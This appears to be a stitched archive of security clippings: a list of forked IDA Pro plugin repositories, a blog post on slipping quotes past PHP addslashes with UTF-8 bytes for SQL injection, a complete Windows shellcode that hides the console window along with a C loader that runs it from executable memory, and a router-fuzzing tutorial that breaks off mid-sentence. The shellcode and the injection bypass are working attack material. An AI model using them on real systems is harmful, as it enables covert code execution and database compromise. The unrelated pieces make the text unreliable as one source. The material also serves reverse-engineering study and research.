Updated on Sep 1, 2014

  * ### IDA\_misc
forked from w4kfu/IDA\_misc

Miscallaneaous stuff for IDA

Updated on Sep 1, 2014

  * ### idascripts34
forked from jimhester/ida-scripts

collection of scripts for ida pro

Updated on Sep 1, 2014

  * ### IDA-scripts-3
forked from vlad902/IDA-scripts

Helpful IDA scripts

Updated on Sep 1, 2014

  * ### ida\_load\_all\_dump\_load
Updated on Aug 31, 2014

  * ### krypton
Updated on Aug 31, 2014

  * ### IDA\_Signsrch
Updated on Aug 31, 2014

  * ### rails
Updated on Aug 31, 2014

  * ### ida-pro-swf
Updated on Aug 31, 2014

  * ### ida-vs2005templates
Updated on Aug 31, 2014

  * ### turbodiff
Updated on Aug 31, 2014

  * ### Fast\_IDB2Sig\_and\_LoadMap\_IDA\_plugins
Updated on Aug 31, 2014

  * ### ida-pro-plugin-wizard-for-vs2013
Updated on Aug 31, 2014

  * ### optimice
Updated on Aug 31, 2014

  * ### idascope
Updated on Aug 31, 2014

  * ### ida-plugin-template
Updated on Aug 31, 2014

  * ### idapathfinder
Updated on Aug 31, 2014

  * ### ida-plugins-collection
Updated on Aug 31, 2014

  * ### objc-rays
forked from grp/objc-rays

post processor for objective-c hex-rays arm decompilations

Updated on Aug 31, 2014

  * ### idaplugs
Plugins for IDA Pro by servil

Updated on Aug 31, 2014

  * ### mynav
Updated on Aug 31, 2014

  * ### cyrplw
Updated on Aug 31, 2014

  * ### tree-cbass
Updated on Aug 31, 2014

  * ### idaocaml
Updated on Aug 31, 2014

  * ### bflt-utils
Updated on Aug 31, 2014

  * ### ida-sync-plugin
Updated on Aug 31, 2014

  * ### idadwarf
forked from vrasneur/idadwarf

IDA Pro DWARF plugin \(obsolete\)

Updated on Aug 26, 2014

  * ### Free\_the\_Debuggers
forked from techbliss/Free\_the\_Debuggers

Free\_the\_Debuggers

Updated on Aug 24, 2014

  * ### Win-DBG-Helper
forked from techbliss/Win-DBG-Helper

Updated on Aug 21, 2014

  * ### Bootloader-PS3
forked from techbliss/Bootloader-PS3

run to analyze bootloader dumps

Updated on Aug 15, 2014

  * ### Processor-Changer
forked from techbliss/Processor-Changer

Tool to change processor inside ida

Updated on Aug 11, 2014

  * ### ida-consonance
forked from eugeii/ida-consonance

Consonance, a dark color scheme for IDA.

Updated on Aug 11, 2014

  * ### StyleSheet-QT-Paster
forked from techbliss/StyleSheet-QT-Paster

Paste StyleSheets to Ida Pro or other Apps that uses Python QT

Updated on Aug 10, 2014

  * ### dr.rer.oec.gadget
forked from patois/dr.rer.oec.gadget

dr.rer.oec.gadget IDAPython plugin for the Interactive Disassembler

Updated on Aug 5, 2014

  * ### Reversing
forked from mandiant/Reversing

Updated on Jul 30, 2014

  * ### DrGadget
forked from patois/DrGadget

Dr. Gadget IDAPython plugin

Updated on Jul 26, 2014

  * ### IDA-Styler
forked from techbliss/IDA-Styler

Small Plugin to change the style off Ida Pro

Updated on Jul 25, 2014

  * ### IDA2Sym
forked from siberas/IDA2Sym

IDAScript to create Symbol file which can be loaded in WinDbg via
AddSyntheticSymbol

Updated on Jul 25, 2014

  * ### armsvc-for-ida
forked from azerg/armsvc-for-ida

IDA plugin that is used to convert svc api calls to user-friendly format

Updated on Jul 21, 2014

  * ### Ida\_Pro\_Winlicense\_IAT\_checker
forked from techbliss/Ida\_Pro\_Winlicense\_IAT\_checker

Updated on Jul 12, 2014

  * ### poortrace
forked from misterjyu/poortrace

scripts that generates an IDA script to highlight instructions of a binary
that was executed in GDB

Updated on Jul 10, 2014

  * ### ida\_tools
forked from zaddach/ida\_tools

Tools for IDA Pro

Updated on Jul 9, 2014

  * ### l4d2\_structs
forked from ProdigySim/l4d2\_structs

IDA-compatible struct definitions for L4D2

Updated on Jul 8, 2014

  * ### IDAYara
forked from SiowCY/IDAYara

IDA Pro Yara Scan

Updated on Jul 5, 2014

  * ### idapython
forked from EiNSTeiN-/idapython

Git copy of idapython svn repo: https://code.google.com/p/idapython/

Updated on Jun 27, 2014

  * ### idascripts-1
forked from dev-zzo/idascripts

Updated on Jun 25, 2014

  * ### i0\_ida\_modules
forked from ganboing/i0\_ida\_modules

i0\_ida\_modules

Updated on Jun 21, 2014

  * ### IDA-ClrNative
forked from shuffle2/IDA-ClrNative

IDA script to apply information stored in mixed managed/native assemblies to
the native code portion

Updated on Jun 18, 2014

  * ### ida-efiutils
forked from snare/ida-efiutils

Some scripts for IDA Pro to assist with reverse engineering EFI binaries

Updated on Jun 17, 2014

  * ### prxtool
forked from pspdev/prxtool

A simple tool to manipulate Sony PSP\(tm\) PRX files

Updated on Jun 7, 2014

  * ### deci3dbg
forked from oct0xor/deci3dbg

Ida Pro debugger module for Playstation 3

Updated on May 30, 2014

  * ### collabREate
forked from cseagle/collabREate

Collaborative reverse engineering plugin for IDA Pro

Updated on May 28, 2014

  * ### ida-wii-loaders
forked from heinermann/ida-wii-loaders

REL and DOL loaders for IDA Pro

Updated on May 17, 2014

View all repositories

# Bypass addslashes with UTF-8 characters - Le fourre-tout à Geo

**Created:**| _1/31/2012 7:39:36 PM_  
---|---  
**Updated:**| _1/31/2012 7:39:48 PM_  
**Author:**| __  
**Tags:**| _web-app-sec unicode_  
  

## Bypass addslashes with UTF-8 characters

Par Geoffroy Couprie le mercredi, août 12 2009, 22:59 - Sécurité \- Lien
permanent

  * PHP
  * security
  * SQL

Yes, I know, that's not something new. Chris Shiflett already explained how
you can use the backslash with the previous character to create a new
character, and leave the quote unharmed. But that's not really satisfying,
because you need MySQL to use some multibyte character sets like GBK, SJIS or
BIG5.

What I present here seems new \(no trace of it on the Internet\) but I won't
be surprised if someone already thought about this. In short: you can send a
quote through addslashes by "swallowing" the backslash with an UTF-8 character
\(don't be too happy, it's not working in all cases\).

### Multibyte characters?

From the rfc 3629 \(UTF-8\):

> In a sequence of n octets, n>1, the initial octet has the n higher-order
> bits set to 1, followed by a bit set to 0. The remaining bit\(s\) of that
> octet contain bits from the number of the character to be encoded.
Here is a table of what it means:

[code]

       Char. number range  |        UTF-8 octet sequence
          (hexadecimal)    |              (binary)
       --------------------+---------------------------------------------
       0000 0000-0000 007F | 0xxxxxxx
       0000 0080-0000 07FF | 110xxxxx 10xxxxxx
       0000 0800-0000 FFFF | 1110xxxx 10xxxxxx 10xxxxxx
       0001 0000-0010 FFFF | 11110xxx 10xxxxxx 10xxxxxx 10xxxxxx
    
    
[/code]

So, the first character indicates how many bytes after it are part of the
UTF-8 character. This first character can be anything from C0 to FF. Now,
imagine what happens when a quote \(0x27\) follows, say, 0xC8. If the string
passes through addslashes, it becomes 0xC8C527 \(È\' if you can read this\).
Ok, there's still a backslash, now what? I see that some people are doing
_utf8\_decode\(addslashes\($string\)\)_ \(instead of
_addslashes\(utf8\_decode\($string\)\)_ which is much more common\). What
happens now? utf8\_decode happily destroys the backslash and tells us that it
translates to ?' with ? meaning that it encountered an invalid character. It
works with nearly all bytes from C0 to FF \(and you can delete more than one
character like that\).

### What can I do with that?

Not much: you can do a straightforward SQL injection only if you find
_utf8\_decode\(addslashes_ somewhere \(you will find it, I have faith in you
and in Google code search\).

Now, If you want to work a bit more, There's something else you can do. If
there's no _utf8\_decode_ , you can still send your 0xC8C527 to MySQL. This
will not be an SQL injection, but you will have a È' somewhere in the database
waiting to be used in a second stage SQL injection \(I told you you would have
to work\). Fun fact: **mysql\_real\_escape\_string doesn't seem to protect you
there**. I have more tests to do, but **it works with Apache, PHP and MySQL in
default configuration**.

### Conclusion

  * **STOP SAYING THAT ADDSLASHES PROTECTS YOU**. It will, in most cases. But most developers won't know about the cases where it can't help.
  * You have to understand what is UTF-8, what are the charsets, etc. Read at least The Absolute Minimum Every Software Developer Absolutely, Positively Must Know About Unicode and Character Sets \(No Excuses\!\).
  * Use prepared statements to \(nearly\) stop worrying about quotes Don't stop worrying about user input though\).
  * This is not the exploit of the year, but I'm pretty happy with my nice little bug :\)

**UPDATE:** it looks like Eduardo Vela Nava &and David Lindsay discussed this
bug at BlackHat USA 09, but for XSS filters. Sorry guys, I wasn't trying to
steal your bug: I wasn't at BlackHat and I didn't know someone did an exposé
about it. At the time of the presentation, my code was already exploiting this
type of bug, so I'm pretty sure I didn't copy it :P

# Windows x86 - Hide Console Window Shellcode \(182 bytes\)

**Created:**| _5/7/2017 10:52:09 AM_  
---|---  
**Updated:**| _5/7/2017 10:52:09 AM_  
**Author:**| __  
**Tags:**| _shellcode asm_  
  

  

`/*` `MIT License` `Copyright (c) 2017 Ege Balcı` `Permission is hereby
granted, free of charge, to any person obtaining a copy``of this software and
associated documentation files (the "Software"), to deal``in the Software
without restriction, including without limitation the rights``to use, copy,
modify, merge, publish, distribute, sublicense, and/or sell``copies of the
Software, and to permit persons to whom the Software is``furnished to do so,
subject to the following conditions:` `The above copyright notice and this
permission notice shall be included in all``copies or substantial portions of
the Software.` `THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY
KIND, EXPRESS OR``IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY,``FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO
EVENT SHALL THE``AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES
OR OTHER``LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
ARISING FROM,``OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
DEALINGS IN THE``SOFTWARE.` `# Win32 - Hide Console Window Shellcode (182
BYTES)``# Date: [11.03.2017]``# Author: [Ege Balcı]``# Tested on: [Win
XP/Vista/7/8/8.1/10]` `@egeblc`
`------------------------------------------------------------------` `This
shellcode will hide the console window...` `[BITS 32]``[ORG 0]` `pushad ; Save
all register to stack``pushfd ; Save all flags to stack``cld``call Start
``%include "API-BLOCK.asm"; Stephen Fewer's hash API from metasploit project`
`Start:`` ``pop ebp ; Pop the address of SFHA` ` ``push 0x00000000 ; Push the
byte 'user32' ,0,0`` ``push 0x00003233 ; ... `` ``push 0x72657375 ; ...``
``push esp ; Push a pointer to the "user32" string on the stack.`` ``push
0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )`` ``call ebp ;
LoadLibraryA( "user32" )`` ``add esp,0x0C ; Clear the stack`` ` ` ``push
0xCE726E89 ; hash("user32.dll", "GetConsoleWindow")`` ``call ebp ;
GetConsoleWindow();` ` ``push 0x00000000 ; 0`` ``push eax ; Console window
handle`` ``push 0x6E2EEBC2 ; hash(User32.dll, ShowWindow)`` ``call ebp ;
ShowWindow(HANDLE,SW_HIDE);` ` ``popfd ; Pop back all saved flags`` ``popad ;
Pop back all saved registers`` ``ret ; Return` `*/``#include
<windows.h>``#include <stdio.h>` `unsigned ``char` `Shellcode[] = {`` ``0x60,
0x9c, 0xfc, 0xe8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89, 0xe5, 0x31,`` ``0xc0,
0x64, 0x8b, 0x50, 0x30, 0x8b, 0x52, 0x0c, 0x8b, 0x52, 0x14, 0x8b,`` ``0x72,
0x28, 0x0f, 0xb7, 0x4a, 0x26, 0x31, 0xff, 0xac, 0x3c, 0x61, 0x7c,`` ``0x02,
0x2c, 0x20, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0xe2, 0xf2, 0x52, 0x57,`` ``0x8b,
0x52, 0x10, 0x8b, 0x4a, 0x3c, 0x8b, 0x4c, 0x11, 0x78, 0xe3, 0x48,`` ``0x01,
0xd1, 0x51, 0x8b, 0x59, 0x20, 0x01, 0xd3, 0x8b, 0x49, 0x18, 0xe3,`` ``0x3a,
0x49, 0x8b, 0x34, 0x8b, 0x01, 0xd6, 0x31, 0xff, 0xac, 0xc1, 0xcf,`` ``0x0d,
0x01, 0xc7, 0x38, 0xe0, 0x75, 0xf6, 0x03, 0x7d, 0xf8, 0x3b, 0x7d,`` ``0x24,
0x75, 0xe4, 0x58, 0x8b, 0x58, 0x24, 0x01, 0xd3, 0x66, 0x8b, 0x0c,`` ``0x4b,
0x8b, 0x58, 0x1c, 0x01, 0xd3, 0x8b, 0x04, 0x8b, 0x01, 0xd0, 0x89,`` ``0x44,
0x24, 0x24, 0x5b, 0x5b, 0x61, 0x59, 0x5a, 0x51, 0xff, 0xe0, 0x5f,`` ``0x5f,
0x5a, 0x8b, 0x12, 0xeb, 0x8d, 0x5d, 0x6a, 0x00, 0x68, 0x33, 0x32,`` ``0x00,
0x00, 0x68, 0x75, 0x73, 0x65, 0x72, 0x54, 0x68, 0x4c, 0x77, 0x26,`` ``0x07,
0xff, 0xd5, 0x83, 0xc4, 0x0c, 0x68, 0x89, 0x6e, 0x72, 0xce, 0xff,`` ``0xd5,
0x6a, 0x00, 0x50, 0x68, 0xc2, 0xeb, 0x2e, 0x6e, 0xff, 0xd5, 0x9d,`` ``0x61,
0xc3``};` `void` `ExecuteShellcode();` `int` `main(``int` `argc, ``char`
`const` `*argv[])``{`` ``ExecuteShellcode();`` ``getchar``();`` ``return`
`0;``}` `void` `ExecuteShellcode(){`` ``char``* BUFFER =
(``char``*)VirtualAlloc(NULL, ``sizeof``(Shellcode), MEM_COMMIT,
PAGE_EXECUTE_READWRITE);`` ``memcpy``(BUFFER, Shellcode,
``sizeof``(Shellcode));`` ``(*(``void``(*)())BUFFER)(); ``}`  
---  
  

# Modern Vulnerability Research Techniques on Embedded Systems

**Created:**| _5/10/2019 8:29:13 AM_  
---|---  
**Updated:**| _5/10/2019 8:29:13 AM_  
**Author:**| __  
**Tags:**| _bookmark Exploit iot_  
  

  

# Modern Vulnerability Research Techniques on Embedded Systems

This guide takes a look at vetting an embedded system \(An ASUS RT-AC51U\)
using AFL, angr, a cross compiler, and some binary instrumentation without
access to the physical device. We'll go from static firmware to thousands of
executions per second of fuzzing on emulated code. \(Sorry no 0days in this
post\)

Asus is kind enough to provide the firmware for their devices online. Their
firmware is generally a root file system packed into a single file using
squashfs. As shown below, binwalk can run through this file system and
identify the filesystem for us.

<img src='data:image/svg+xml,%3csvg preserveAspectRatio='xMidYMid meet'
height='1em' width='1em' fill='none' xmlns='http://www.w3.org/2000/svg'
viewBox='0 0 24 24' stroke-width='2' stroke-linecap='round' stroke-
linejoin='round' stroke='currentColor' class='icon-7f6730be--text-3f89f380 js-
evernote-checked' data-evernote-id='217'%3e%3cg data-evernote-id='218'
class='js-evernote-checked'%3e%3crect x='9' y='9' width='13' height='13'
rx='2' ry='2' data-evernote-id='219' class='js-evernote-
checked'%3e%3c/rect%3e%3cpath d='M5 15H4a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2h9a2 2 0
0 1 2 2v1' data-evernote-id='220' class='js-evernote-
checked'%3e%3c/path%3e%3c/g%3e%3c/svg%3e' />Copy

[code]

    1$ binwalk RT-AC51U_3.0.0.4_380_8457-g43a391a.trx
    2​
    3DECIMAL       HEXADECIMAL     DESCRIPTION
    4--------------------------------------------------------------------------------
    564            0x40            LZMA compressed data, properties: 0x6E, dictionary size: 8388608 bytes, uncompressed size: 3551984 bytes
    61174784       0x11ED00        Squashfs filesystem, little endian, version 4.0, compression:xz, size: 13158586 bytes, 1492 inodes, blocksize: 131072 bytes, created: 2019-01-09 11:06:39
    7​
    8​
[/code]

Binwalk supports carving the filesystem out of the firmware image through the
`-Mre ` flags and will put the resulting root file system into a folder titled
`squash-fs `

<img src='data:image/svg+xml,%3csvg preserveAspectRatio='xMidYMid meet'
height='1em' width='1em' fill='none' xmlns='http://www.w3.org/2000/svg'
viewBox='0 0 24 24' stroke-width='2' stroke-linecap='round' stroke-
linejoin='round' stroke='currentColor' class='icon-7f6730be--text-3f89f380 js-
evernote-checked' data-evernote-id='262'%3e%3cg data-evernote-id='263'
class='js-evernote-checked'%3e%3crect x='9' y='9' width='13' height='13'
rx='2' ry='2' data-evernote-id='264' class='js-evernote-
checked'%3e%3c/rect%3e%3cpath d='M5 15H4a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2h9a2 2 0
0 1 2 2v1' data-evernote-id='265' class='js-evernote-
checked'%3e%3c/path%3e%3c/g%3e%3c/svg%3e' />Copy

[code]

    1$ ls
    240  _40.extracted  squashfs-root
    3$ ls squashfs-root/
    4asus_jffs  cifs2  etc_ro  lib  opt     rom   sys      usr
    5bin        dev    home    mmc  proc    root  sysroot  var
    6cifs1      etc    jffs    mnt  ra_SKU  sbin  tmp      www
    7​
[/code]

##

Motivation<img src='data:image/svg+xml,%3csvg preserveAspectRatio='xMidYMid
meet' height='1em' width='1em' fill='none' xmlns='http://www.w3.org/2000/svg'
viewBox='0 0 24 24' stroke-width='2' stroke-linecap='round' stroke-
linejoin='round' stroke='currentColor' class='icon-7f6730be--text-3f89f380 js-
evernote-checked' data-evernote-id='308'%3e%3cg data-evernote-id='309'
class='js-evernote-checked'%3e%3cpath d='M10 13a5 5 0 0 0 7.54.54l3-3a5 5 0 0
0-7.07-7.07l-1.72 1.71' data-evernote-id='310' class='js-evernote-
checked'%3e%3c/path%3e%3cpath d='M14 11a5 5 0 0 0-7.54-.54l-3 3a5 5 0 0 0 7.07
7.07l1.71-1.71' data-evernote-id='311' class='js-evernote-
checked'%3e%3c/path%3e%3c/g%3e%3c/svg%3e' />

The LD\_PRELOAD trick is a method of hooking symbols in a given binary to call
your symbol, which the loader and placed before the reference to the original
symbol. This can be used to hook function, like `malloc ` and `free ` in the
case of libraries like libdheap, to call your own code and perform logging or
other intrumentation based analysis. The general format requires compiling a
small stub of c code and then running your binary like this:

<img src='data:image/svg+xml,%3csvg preserveAspectRatio='xMidYMid meet'
height='1em' width='1em' fill='none' xmlns='http://www.w3.org/2000/svg'
viewBox='0 0 24 24' stroke-width='2' stroke-linecap='round' stroke-
linejoin='round' stroke='currentColor' class='icon-7f6730be--text-3f89f380 js-
evernote-checked' data-evernote-id='330'%3e%3cg data-evernote-id='331'
class='js-evernote-checked'%3e%3crect x='9' y='9' width='13' height='13'
rx='2' ry='2' data-evernote-id='332' class='js-evernote-
checked'%3e%3c/rect%3e%3cpath d='M5 15H4a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2h9a2 2 0
0 1 2 2v1' data-evernote-id='333' class='js-evernote-
checked'%3e%3c/path%3e%3c/g%3e%3c/svg%3e' />Copy

[code]

    LD_PRELOAD=/Path/To/My/Library.so ./Run_Binary_As_Normal
[/code]

I wanted to try a trick I saw online to create a fast and effective fuzzer for
network protocol fuzzing. This github gist shows a PoC of creating an
LD\_PRELOAD'd library that intercepts libc's call to main and replaces it with
our own.

<img src='data:image/svg+xml,%3csvg preserveAspectRatio='xMidYMid meet'
height='1em' width='1em' fill='none' xmlns='http://www.w3.org/2000/svg'
viewBox='0 0 24 24' stroke-width='2' stroke-linecap='round' stroke-
linejoin='round' stroke='currentColor' class='icon-7f6730be--text-3f89f380 js-
evernote-checked' data-evernote-id='351'%3e%3cg data-evernote-id='352'
class='js-evernote-checked'%3e%3crect x='9' y='9' width='13' height='13'
rx='2' ry='2' data-evernote-id='353' class='js-evernote-
checked'%3e%3c/rect%3e%3cpath d='M5 15H4a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2h9a2 2 0
0 1 2 2v1' data-evernote-id='354' class='js-evernote-
checked'%3e%3c/path%3e%3c/g%3e%3c/svg%3e' />Copy

[code]

    1#define _GNU_SOURCE
    2#include <stdio.h>
    3#include <dlfcn.h>
    4​
    5/* Trampoline for the real main() */
    6static int (*main_orig)(int, char **, char **);
    7/* Our fake main() that gets called by __libc_start_main() */
    8int main_hook(int argc, char **argv, char **envp)
    9{
    10// Do my stuff
    11}
    12​
    13/*
    14 * Wrapper for __libc_start_main() that replaces the real main
    15 * function with our hooked version.
    16 */
    17int __libc_start_main(int (*main)(int, char **, char **), int argc, char **argv,
    18    int (*init)(int, char **, char **),
    19    void (*fini)(void),
    20    void (*rtld_fini)(void),
    21    void *stack_end)
    22{
    23    /* Save the real main function address */
    24    main_orig = main;
    25​
    26    /* Find the real __libc_start_main()... */
    27    typeof(&__libc_start_main) orig = dlsym(RTLD_NEXT, "__libc_start_main");
    28​
    29    /* ... and call it with our custom main function */
    30    return orig(main_hook, argc, argv, init, fini, rtld_fini, stack_end);
    31}
[/code]

My thought was to then call a function inside of the now loaded binary
starting from main. Any following calls or symbol look ups from the directly
called function should resolve correctly because the main binary is loaded
into memory\!

Defining a function prototype and then calling a function seemed to work. I
can pull a function address out of a binary and jump to it with arbitrary
arguments and the compiler abi will place to arguments into the runtime
correctly to call the function. :

<img src='data:image/svg+xml,%3csvg preserveAspectRatio='xMidYMid meet'
height='1em' width='1em' fill='none' xmlns='http://www.w3.org/2000/svg'
viewBox='0 0 24 24' stroke-width='2' stroke-linecap='round' stroke-
linejoin='round' stroke='currentColor' class='icon-7f6730be--text-3f89f380 js-
evernote-checked' data-evernote-id='842'%3e%3cg data-evernote-id='843'
class='js-evernote-checked'%3e%3crect x='9' y='9' width='13' height='13'
rx='2' ry='2' data-evernote-id='844' class='js-evernote-
checked'%3e%3c/rect%3e%3cpath d='M5 15H4a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2h9a2 2 0
0 1 2 2v1' data-evernote-id='845' class='js-evernote-
checked'%3e%3c/path%3e%3c/g%3e%3c/svg%3e' />Copy

[code]

    1/* Our fake main() that gets called by __libc_start_main() */
    2int main_hook(int argc, char **argv, char **envp)
    3{
    4    char user_buf[512] = {"\x00"};
    5    read(0, user_buf, 512);
    6    int (*do_thing_ptr)() = 0x401f30;
    7    int ret_val = (*do_thing_ptr)(user_buf, 0, 0);
    8​
    9    printf("Ret val %d\n",ret_val);
    10    return 0;
    11}
    12​
[/code]

**This process is very manual and slow... Let's speed it up\!**

##

Setting up<img src='data:image/svg+xml,%3csvg preserveAspectRatio='xMidYMid
meet' height='1em' width='1em' fill='none' xmlns='http://www.w3.org/2000/svg'
viewBox='0 0 24 24' stroke-width='2' stroke-linecap='round' stroke-
linejoin='round' stroke='currentColor' class='icon-7f6730be--text-3f89f380 js-
evernote-checked' data-evernote-id='898'%3e%3cg data-evernote-id='899'
class='js-evernote-checked'%3e%3cpath d='M10 13a5 5 0 0 0 7.54.54l3-3a5 5 0 0
0-7.07-7.07l-1.72 1.71' data-evernote-id='900' class='js-evernote-
checked'%3e%3c/path%3e%3cpath d='M14 11a5 5 0 0 0-7.54-.54l-3 3a5 5 0 0 0 7.07
7.07l1.71-1.71' data-evernote-id='901' class='js-evernote-
checked'%3e%3c/path%3e%3c/g%3e%3c/svg%3e' />

The extracted firmware executables are all mips little endian based and are
interpreted through uClibc.

<img src='data:image/svg+xml,%3csvg preserveAspectRatio='xMidYMid meet'
height='1em' width='1em' fill='none' xmlns='http://www.w3.org/2000/svg'
viewBox='0 0 24 24' stroke-width='2' stroke-linecap='round' stroke-
linejoin='round' stroke='currentColor' class='icon-7f6730be--text-3f89f380 js-
evernote-checked' data-evernote-id='909'%3e%3cg data-evernote-id='910'
class='js-evernote-checked'%3e%3crect x='9' y='9' width='13' height='13'
rx='2' ry='2' data-evernote-id='911' class='js-evernote-
checked'%3e%3c/rect%3e%3cpath d='M5 15H4a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2h9a2 2 0
0 1 2 2v1' data-evernote-id='912' class='js-evernote-
checked'%3e%3c/path%3e%3c/g%3e%3c/svg%3e' />Copy

[code]

    1$ file bin/busybox 
    2bin/busybox: ELF 32-bit LSB executable, MIPS, MIPS32 version 1 (SYSV), dynamically linked, interpreter /lib/ld-, stripped
    3$ ls lib/
    4ld-uClibc.so.0  libdl.so.0     libnsl.so.0      libws.so
    5libcrypt.so.0   libgcc_s.so.1  libpthread.so.0  modules
    6libc.so.0       libiw.so.29    librt.so.0
    7libdisk.so      libm.so.0      libstdc++.so.6
[/code]

​DockCross does not support uClibc cross compiling yet so I needed to build my
own cross compilers. Using buildroot I created a uClibc cross compiler for my
Ubuntu 18.04 machine. To save time in the future I've posted this toolchain
and a couple others online here. This toolchain enables quick cross compiling
of our LD\_PRELOADed libraries.

The target is the asusdiscovery service. There has already been a CVE for it
and it proves to be hard to fuzz manually. The discovery service periodically
sends packets out across the network, scanning for other ASUS routers. When
another ASUS router sees this discover packet, it responds with it's
information and the discovery service parses it.

These response-based network services can be hard to fuzz through traditional
network fuzzing tools like BooFuzz. So we're going to find where it parses the
response and fuzz that logic directly with our new-found LD\_PRELOAD tricks.

Pulling symbol information from this binary yields a quick tell to which
function does the parsing `ParseASUSDiscoveryPackage `:

<img src='data:image/svg+xml,%3csvg preserveAspectRatio='xMidYMid meet'
height='1em' width='1em' fill='none' xmlns='http://www.w3.org/2000/svg'
viewBox='0 0 24 24' stroke-width='2' stroke-linecap='round' stroke-
linejoin='round' stroke='currentColor' class='icon-7f6730be--text-3f89f380 js-
evernote-checked' data-evernote-id='1006'%3e%3cg data-evernote-id='1007'
class='js-evernote-checked'%3e%3crect x='9' y='9' width='13' height='13'
rx='2' ry='2' data-evernote-id='1008' class='js-evernote-
checked'%3e%3c/rect%3e%3cpath d='M5 15H4a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2h9a2 2 0
0 1 2 2v1' data-evernote-id='1009' class='js-evernote-
checked'%3e%3c/path%3e%3c/g%3e%3c/svg%3e' />Copy

[code]

    1$ readelf -s usr/sbin/asusdiscovery 
    2​
    3Symbol table '.dynsym' contains 85 entries:
    4   Num:    Value  Size Type    Bind   Vis      Ndx Name
    5     0: 00000000     0 NOTYPE  LOCAL  DEFAULT  UND 
    6     1: 0040128c   236 FUNC    GLOBAL DEFAULT   10 safe_fread
    7     2: 00414020     0 NOTYPE  GLOBAL DEFAULT   18 _fdata
    8     3: 00000001     0 SECTION GLOBAL DEFAULT  ABS _DYNAMIC_LINKING
    9     4: 0041c050     0 NOTYPE  GLOBAL DEFAULT  ABS _gp
    10     ..............SNIP....................
    11    33: 004141b0     4 OBJECT  GLOBAL DEFAULT   22 a_bEndApp
    12    34: 00402cec   328 FUNC    GLOBAL DEFAULT   10 ParseASUSDiscoveryPackage
    13    35: 00403860     0 FUNC    GLOBAL DEFAULT  UND sprintf
    14    ...............SNIP.....................
    15​
[/code]

With this symbol in mind we can open the binary up in Ghidra and have the
decompiler give us a rough idea of how it's working:

<img src='data:image/svg+xml,%3csvg preserveAspectRatio='xMidYMid meet'
height='1em' width='1em' fill='none' xmlns='http://www.w3.org/2000/svg'
viewBox='0 0 24 24' stroke-width='2' stroke-linecap='round' stroke-
linejoin='round' stroke='currentColor' class='icon-7f6730be--text-3f89f380 js-
evernote-checked' data-evernote-id='1160'%3e%3cg data-evernote-id='1161'
class='js-evernote-checked'%3e%3crect x='9' y='9' width='13' height='13'
rx='2' ry='2' data-evernote-id='1162' class='js-evernote-
checked'%3e%3c/rect%3e%3cpath d='M5 15H4a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2h9a2 2 0
0 1 2 2v1' data-evernote-id='1163' class='js-evernote-
checked'%3e%3c/path%3e%3c/g%3e%3c/svg%3e' />Copy

[code]

    1undefined4 ParseASUSDiscoveryPackage(int iParm1)
    2{
    3  ssize_t sVar1;
    4  socklen_t local_228;
    5  undefined4 local_224;
    6  undefined4 local_220;
    7  undefined4 local_21c;
    8  undefined4 local_218;
    9  undefined auStack532 [516];
    10  
    11  myAsusDiscoveryDebugPrint("----------ParseASUSDiscoveryPackage Start----------");
    12  if (a_bEndApp != 0) {
    13    myAsusDiscoveryDebugPrint("a_bEndApp = true");
    14    return 0;
    15  }
    16  local_228 = 0x10;
    17  memset(auStack532,0,0x200);
    18  sVar1 = recvfrom(iParm1,auStack532,0x200,0,(sockaddr *)&local_224,&local_228);
    19  if (0 < sVar1) {
    20    PROCESS_UNPACK_GET_INFO(auStack532,local_224,local_220,local_21c,local_218);
    21    return 1;
    22  }
    23  myAsusDiscoveryDebugPrint("recvfrom function failed");
    24  return 0;
    25}
[/code]

The function appears to be instantiating a 512 byte buffer and reading from a
given network file descriptor through the recvfrom function. A quick visit to
`recvfrom `'s manpage reveals that the second argument going into recvfrom
will contain the network input, **the input we can control.**

<img src='data:image/svg+xml,%3csvg preserveAspectRatio='xMidYMid meet'
height='1em' width='1em' fill='none' xmlns='http://www.w3.org/2000/svg'
viewBox='0 0 24 24' stroke-width='2' stroke-linecap='round' stroke-
linejoin='round' stroke='currentColor' class='icon-7f6730be--text-3f89f380 js-
evernote-checked' data-evernote-id='1503'%3e%3cg data-evernote-id='1504'
class='js-evernote-checked'%3e%3crect x='9' y='9' width='13' height='13'
rx='2' ry='2' data-evernote-id='1505' class='js-evernote-
checked'%3e%3c/rect%3e%3cpath d='M5 15H4a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2h9a2 2 0
0 1 2 2v1' data-evernote-id='1506' class='js-evernote-
checked'%3e%3c/path%3e%3c/g%3e%3c/svg%3e' /> Copy

[code]

    1RECV(2)                Linux Programmer's Manual               RECV(2)
    2​
    3NAME
    4       recv, recvfrom, recvmsg - receive a message from a socket
    5​
    6SYNOPSIS
    7       #include <sys/types.h>
    8       #include <sys/socket.h>
    9​
    10       ssize_t recv(int sockfd, void *buf, size_t len, int flags);
    11​
    12       ssize_t recvfrom(int sockfd, void *buf, size_t len, int flags,
    13                        struct sockaddr *src_addr, socklen_t *addrlen);
[/code]

This user input is immediately passed to the `PROCESS_UNPACK_GET_INFO `
function. This function in responsible for parsing the user input and relaying
that information to the router.

Opening the function in ghidra reveals a large parsing function. This looks
perfect for **fuzzing**\!

aa

<img src='img/PROCESS_UNPACK_GET_INFO.png' width='353' height='355' />

The next step is interacting with the function and providing input into that
first argument. The first step towards running this as an independent function
is recovering the function prototype. Ghidra shows the defined function
prototype as below.

<img src='data:image/svg+xml,%3csvg preserveAspectRatio='xMidYMid meet'
height='1em' width='1em' fill='none' xmlns='http://www.w3.org/2000/svg'
